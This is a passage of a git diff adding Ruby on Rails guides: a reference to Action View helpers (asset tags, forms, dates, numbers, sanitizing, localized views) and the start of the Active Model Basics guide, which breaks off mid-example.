+Register one or more stylesheet files to be included when symbol is passed to `stylesheet_link_tag`. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in `vendor/assets/stylesheets`.
+
+```ruby
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"]
+
+stylesheet_link_tag :monkey # =>
+  <link href="/assets/head.css" media="screen" rel="stylesheet" />
+  <link href="/assets/body.css" media="screen" rel="stylesheet" />
+  <link href="/assets/tail.css" media="screen" rel="stylesheet" />
+```
+
+#### auto_discovery_link_tag
+
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
+
+```ruby
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
+  <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
+```
+
+#### image_path
+
+Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path.
+
+```ruby
+image_path("edit.png") # => /assets/edit.png
+```
+
+Fingerprint will be added to the filename if config.assets.digest is set to true.
+
+```ruby
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+```
+
+#### image_url
+
+Computes the url to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
+
+```ruby
+image_url("edit.png") # => http://www.example.com/assets/edit.png
+```
+
+#### image_tag
+
+Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+
+```ruby
+image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
+```
+
+#### javascript_include_tag
+
+Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
+
+```ruby
+javascript_include_tag "common" # => <script src="/assets/common.js"></script>
+```
+
+If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well.
+
+```ruby
+javascript_include_tag :defaults
+```
+
+You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source.
+
+```ruby
+javascript_include_tag :all
+```
+
+You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+```ruby
+javascript_include_tag :all, cache: true # =>
+  <script src="/javascripts/all.js"></script>
+```
+
+#### javascript_path
+
+Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
+
+```ruby
+javascript_path "common" # => /assets/common.js
+```
+
+#### javascript_url
+
+Computes the url to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host.
+
+```ruby
+javascript_url "common" # => http://www.example.com/assets/common.js
+```
+
+#### stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.
+
+```ruby
+stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
+```
+
+You can also include all styles in the stylesheet directory using :all as the source:
+
+```ruby
+stylesheet_link_tag :all
+```
+
+You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+```ruby
+stylesheet_link_tag :all, cache: true
+# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
+```
+
+#### stylesheet_path
+
+Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+
+```ruby
+stylesheet_path "application" # => /assets/application.css
+```
+
+#### stylesheet_url
+
+Computes the url to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host.
+
+```ruby
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+```
+
+### AtomFeedHelper
+
+#### atom_feed
+
+This helper makes building an Atom feed easy. Here's a full usage example:
+
+**config/routes.rb**
+
+```ruby
+resources :posts
+```
+
+**app/controllers/posts_controller.rb**
+
+```ruby
+def index
+  @posts = Post.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+```
+
+**app/views/posts/index.atom.builder**
+
+```ruby
+atom_feed do |feed|
+  feed.title("Posts Index")
+  feed.updated((@posts.first.created_at))
+
+  @posts.each do |post|
+    feed.entry(post) do |entry|
+      entry.title(post.title)
+      entry.content(post.body, type: 'html')
+
+      entry.author do |author|
+        author.name(post.author_name)
+      end
+    end
+  end
+end
+```
+
+### BenchmarkHelper
+
+#### benchmark
+
+Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
+
+```html+erb
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+```
+
+This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+
+### CacheHelper
+
+#### cache
+
+A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information.
+
+```erb
+<% cache do %>
+  <%= render "shared/footer" %>
+<% end %>
+```
+
+### CaptureHelper
+
+#### capture
+
+The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+
+```html+erb
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+```
+
+The captured variable can then be used anywhere else.
+
+```html+erb
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+```
+
+#### content_for
+
+Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`.
+
+For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site.
+
+**app/views/layouts/application.html.erb**
+
+```html+erb
+<html>
+  <head>
+    <title>Welcome!</title>
+    <%= yield :special_script %>
+  </head>
+  <body>
+    <p>Welcome! The date and time is <%= Time.now %></p>
+  </body>
+</html>
+```
+
+**app/views/posts/special.html.erb**
+
+```html+erb
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+  <script>alert('Hello!')</script>
+<% end %>
+```
+
+### DateHelper
+
+#### date_select
+
+Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
+
+```ruby
+date_select("post", "published_on")
+```
+
+#### datetime_select
+
+Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
+
+```ruby
+datetime_select("post", "published_on")
+```
+
+#### distance_of_time_in_words
+
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.
+
+```ruby
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds
+```
+
+#### select_date
+
+Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided.
+
+```ruby
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+```
+
+#### select_datetime
+
+Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
+
+```ruby
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+```
+
+#### select_day
+
+Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+
+```ruby
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+```
+
+#### select_hour
+
+Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+
+```ruby
+# Generates a select field for hours that defaults to the hours for the time provided
+select_hour(Time.now + 6.hours)
+```
+
+#### select_minute
+
+Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+
+```ruby
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 6.hours)
+```
+
+#### select_month
+
+Returns a select tag with options for each of the months January through December with the current month selected.
+
+```ruby
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+```
+
+#### select_second
+
+Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+
+```ruby
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.minutes)
+```
+
+#### select_time
+
+Returns a set of html select-tags (one for hour and minute).
+
+```ruby
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+```
+
+#### select_year
+
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`.
+
+```ruby
+# Generates a select field for five years on either side of Date.today that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, start_year: 1900, end_year: 2009)
+```
+
+#### time_ago_in_words
+
+Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`.
+
+```ruby
+time_ago_in_words(3.minutes.from_now)  # => 3 minutes
+```
+
+#### time_select
+
+Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+
+```ruby
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+```
+
+### DebugHelper
+
+Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+
+```ruby
+my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
+debug(my_hash)
+```
+
+```html
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+```
+
+### FormHelper
+
+Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed bac [...]
+
+There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+
+The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
+
+```html+erb
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<%= form_for @person, url: {action: "create"} do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= submit_tag 'Create' %>
+<% end %>
+```
+
+The HTML generated for this would be:
+
+```html
+<form action="/people/create" method="post">
+  <input id="person_first_name" name="person[first_name]" type="text" />
+  <input id="person_last_name" name="person[last_name]" type="text" />
+  <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The params object created when this form is submitted would look like:
+
+```ruby
+{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}}
+```
+
+The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+
+#### check_box
+
+Returns a checkbox tag tailored for accessing a specified attribute.
+
+```ruby
+# Let's say that @post.validated? is 1:
+check_box("post", "validated")
+# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+#    <input name="post[validated]" type="hidden" value="0" />
+```
+
+#### fields_for
+
+Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
+
+```html+erb
+<%= form_for @person, url: {action: "update"} do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+<% end %>
+```
+
+#### file_field
+
+Returns a file upload input tag tailored for accessing a specified attribute.
+
+```ruby
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+```
+
+#### form_for
+
+Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
+
+```html+erb
+<%= form_for @post do |f| %>
+  <%= f.label :title, 'Title' %>:
+  <%= f.text_field :title %><br>
+  <%= f.label :body, 'Body' %>:
+  <%= f.text_area :body %><br>
+<% end %>
+```
+
+#### hidden_field
+
+Returns a hidden input tag tailored for accessing a specified attribute.
+
+```ruby
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+```
+
+#### label
+
+Returns a label tag tailored for labelling an input field for a specified attribute.
+
+```ruby
+label(:post, :title)
+# => <label for="post_title">Title</label>
+```
+
+#### password_field
+
+Returns an input tag of the "password" type tailored for accessing a specified attribute.
+
+```ruby
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+```
+
+#### radio_button
+
+Returns a radio button tag for accessing a specified attribute.
+
+```ruby
+# Let's say that @post.category returns "rails":
+radio_button("post", "category", "rails")
+radio_button("post", "category", "java")
+# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+#    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+```
+
+#### text_area
+
+Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
+
+```ruby
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+```
+
+#### text_field
+
+Returns an input tag of the "text" type tailored for accessing a specified attribute.
+
+```ruby
+text_field(:post, :title)
+# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+```
+
+#### email_field
+
+Returns an input tag of the "email" type tailored for accessing a specified attribute.
+
+```ruby
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+```
+
+#### url_field
+
+Returns an input tag of the "url" type tailored for accessing a specified attribute.
+
+```ruby
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
+```
+
+### FormOptionsHelper
+
+Provides a number of methods for turning different kinds of containers into a set of option tags.
+
+#### collection_select
+
+Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
+
+```ruby
+collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
+```
+
+If `@post.author_id` is 1, this would return:
+
+```html
+<select name="post[author_id]">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+```
+
+#### collection_radio_buttons
+
+Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
+
+```ruby
+collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+```
+
+If `@post.author_id` is 1, this would return:
+
+```html
+<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+<label for="post_author_id_3">M. Clark</label>
+```
+
+#### collection_check_boxes
+
+Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+  has_and_belongs_to_many :authors
+end
+
+class Author < ActiveRecord::Base
+  has_and_belongs_to_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+```
+
+Sample usage (selecting the associated Authors for an instance of Post, `@post`):
+
+```ruby
+collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+```
+
+If `@post.author_ids` is [1], this would return:
+
+```html
+<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+<label for="post_author_ids_3">M. Clark</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+```
+
+#### country_options_for_select
+
+Returns a string of option tags for pretty much any country in the world.
+
+#### country_select
+
+Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+
+#### option_groups_from_collection_for_select
+
+Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments.
+
+Example object structure for use with this method:
+
+```ruby
+class Continent < ActiveRecord::Base
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+```
+
+Sample usage:
+
+```ruby
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+```
+
+Possible output:
+
+```html
+<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+```
+
+Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
+
+#### options_for_select
+
+Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
+
+```ruby
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### options_from_collection_for_select
+
+Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text.
+
+```ruby
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+```
+
+For example, imagine a loop iterating over each person in @project.people to generate an input tag:
+
+```ruby
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### select
+
+Create a select tag and a series of contained option tags for the provided object and method.
+
+Example:
+
+```ruby
+select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
+```
+
+If `@post.person_id` is 1, this would become:
+
+```html
+<select name="post[person_id]">
+  <option value=""></option>
+  <option value="1" selected="selected">David</option>
+  <option value="2">Sam</option>
+  <option value="3">Tobias</option>
+</select>
+```
+
+#### time_zone_options_for_select
+
+Returns a string of option tags for pretty much any time zone in the world.
+
+#### time_zone_select
+
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+
+```ruby
+time_zone_select( "user", "time_zone")
+```
+
+#### date_field
+
+Returns an input tag of the "date" type tailored for accessing a specified attribute.
+
+```ruby
+date_field("user", "dob")
+```
+
+### FormTagHelper
+
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+
+#### check_box_tag
+
+Creates a check box form input tag.
+
+```ruby
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+```
+
+#### field_set_tag
+
+Creates a field set for grouping HTML form elements.
+
+```html+erb
+<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+```
+
+#### file_field_tag
+
+Creates a file upload field.
+
+```html+erb
+<%= form_tag({action:"post"}, multipart: true) do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+```
+
+Example output:
+
+```ruby
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+```
+
+#### form_tag
+
+Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
+
+```html+erb
+<%= form_tag '/posts' do %>
+  <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+```
+
+#### hidden_field_tag
+
+Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
+
+```ruby
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+```
+
+#### image_submit_tag
+
+Displays an image which when clicked will submit the form.
+
+```ruby
+image_submit_tag("login.png")
+# => <input src="/images/login.png" type="image" />
+```
+
+#### label_tag
+
+Creates a label field.
+
+```ruby
+label_tag 'name'
+# => <label for="name">Name</label>
+```
+
+#### password_field_tag
+
+Creates a password field, a masked text field that will hide the users input behind a mask character.
+
+```ruby
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+```
+
+#### radio_button_tag
+
+Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
+
+```ruby
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+```
+
+#### select_tag
+
+Creates a dropdown selection box.
+
+```ruby
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+```
+
+#### submit_tag
+
+Creates a submit button with the text provided as the caption.
+
+```ruby
+submit_tag "Publish this post"
+# => <input name="commit" type="submit" value="Publish this post" />
+```
+
+#### text_area_tag
+
+Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+
+```ruby
+text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+```
+
+#### text_field_tag
+
+Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
+
+```ruby
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+```
+
+#### email_field_tag
+
+Creates a standard input field of email type.
+
+```ruby
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+```
+
+#### url_field_tag
+
+Creates a standard input field of url type.
+
+```ruby
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+```
+
+#### date_field_tag
+
+Creates a standard input field of date type.
+
+```ruby
+date_field_tag "dob"
+# => <input id="dob" name="dob" type="date" />
+```
+
+### JavaScriptHelper
+
+Provides functionality for working with JavaScript in your views.
+
+#### button_to_function
+
+Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
+
+```ruby
+button_to_function "Greeting", "alert('Hello world!')"
+button_to_function "Delete", "if (confirm('Really?')) do_delete()"
+button_to_function "Details" do |page|
+  page[:details].visual_effect :toggle_slide
+end
+```
+
+#### define_javascript_functions
+
+Includes the Action Pack JavaScript libraries inside a single `script` tag.
+
+#### escape_javascript
+
+Escape carrier returns and single and double quotes for JavaScript segments.
+
+#### javascript_tag
+
+Returns a JavaScript tag wrapping the provided code.
+
+```ruby
+javascript_tag "alert('All is good')"
+```
+
+```html
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+```
+
+#### link_to_function
+
+Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
+
+```ruby
+link_to_function "Greeting", "alert('Hello world!')"
+# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
+```
+
+### NumberHelper
+
+Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
+
+#### number_to_currency
+
+Formats a number into a currency string (e.g., $13.65).
+
+```ruby
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+```
+
+#### number_to_human_size
+
+Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
+
+```ruby
+number_to_human_size(1234)          # => 1.2 KB
+number_to_human_size(1234567)       # => 1.2 MB
+```
+
+#### number_to_percentage
+
+Formats a number as a percentage string.
+
+```ruby
+number_to_percentage(100, precision: 0)        # => 100%
+```
+
+#### number_to_phone
+
+Formats a number into a US phone number.
+
+```ruby
+number_to_phone(1235551234) # => 123-555-1234
+```
+
+#### number_with_delimiter
+
+Formats a number with grouped thousands using a delimiter.
+
+```ruby
+number_with_delimiter(12345678) # => 12,345,678
+```
+
+#### number_with_precision
+
+Formats a number with the specified level of `precision`, which defaults to 3.
+
+```ruby
+number_with_precision(111.2345)     # => 111.235
+number_with_precision(111.2345, 2)  # => 111.23
+```
+
+### SanitizeHelper
+
+The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
+
+#### sanitize
+
+This sanitize helper will html encode all tags and strip all attributes that aren't specifically allowed.
+
+```ruby
+sanitize @article.body
+```
+
+If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else.
+
+```ruby
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+```
+
+To change defaults for multiple uses, for example adding table tags to the default:
+
+```ruby
+class Application < Rails::Application
+  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+end
+```
+
+#### sanitize_css(style)
+
+Sanitizes a block of CSS code.
+
+#### strip_links(html) 
+Strips all link tags from text leaving just the link text.
+
+```ruby
+strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>")
+# => Ruby on Rails
+```
+
+```ruby
+strip_links("emails to <a href="mailto:me at email.com">me at email.com</a>.")
+# => emails to me at email.com.
+```
+
+```ruby
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
+```
+
+#### strip_tags(html) 
+
+Strips all HTML tags from the html, including comments. 
+This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner.
+
+```ruby
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+```
+
+```ruby
+strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
+# => Bold no more!  See more
+```
+
+NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.
+
+
+Localized Views
+---------------
+
+Action View has the ability render different templates depending on the current locale.
+
+For example, suppose you have a `PostsController` with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
+
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
+
+```ruby
+before_action :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+```
+
+Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
+
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
new file mode 100644
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--- /dev/null
+++ b/guides/source/active_model_basics.md
@@ -0,0 +1,200 @@
+Active Model Basics
+===================
+
+This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
+
+### AttributeMethods
+
+The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes and which methods on the object will use them.
+
+```ruby
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_prefix 'reset_'
+  attribute_method_suffix '_highest?'
+  define_attribute_methods 'age'
+
+  attr_accessor :age
+
+  private
+    def reset_attribute(attribute)
+      send("#{attribute}=", 0)
+    end
+
+    def attribute_highest?(attribute)
+      send(attribute) > 100
+    end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest?  # true
+person.reset_age     # 0
+person.age_highest?  # false
+```
+
+### Callbacks
+
+Callbacks gives Active Record style callbacks. This provides an ability to define callbacks which run at appropriate times. After defining callbacks, you can wrap them with before, after and around custom methods.
+
+```ruby
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+
+  def update
+    run_callbacks(:update) do
+      # This method is called when update is called on an object.
+    end
+  end
+
+  def reset_me
+    # This method is called when update is called on an object as a before_update callback is defined.
+  end
+end
+```
+
+### Conversion
+
+If a class defines `persisted?` and `id` methods, then you can include the `Conversion` module in that class and call the Rails conversion methods on objects of that class.
+
+```ruby
+class Person
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+
+  def id
+    nil
+  end
+end
+
+person = Person.new
+person.to_model == person  # => true
+person.to_key              # => nil
+person.to_param            # => nil
+```
+
+### Dirty
+
+An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes `first_name` and `last_name`:
+
+```ruby
+require 'active_model'
+
+class Person
+  include ActiveModel::Dirty
+  define_attribute_methods :first_name, :last_name
+
+  def first_name
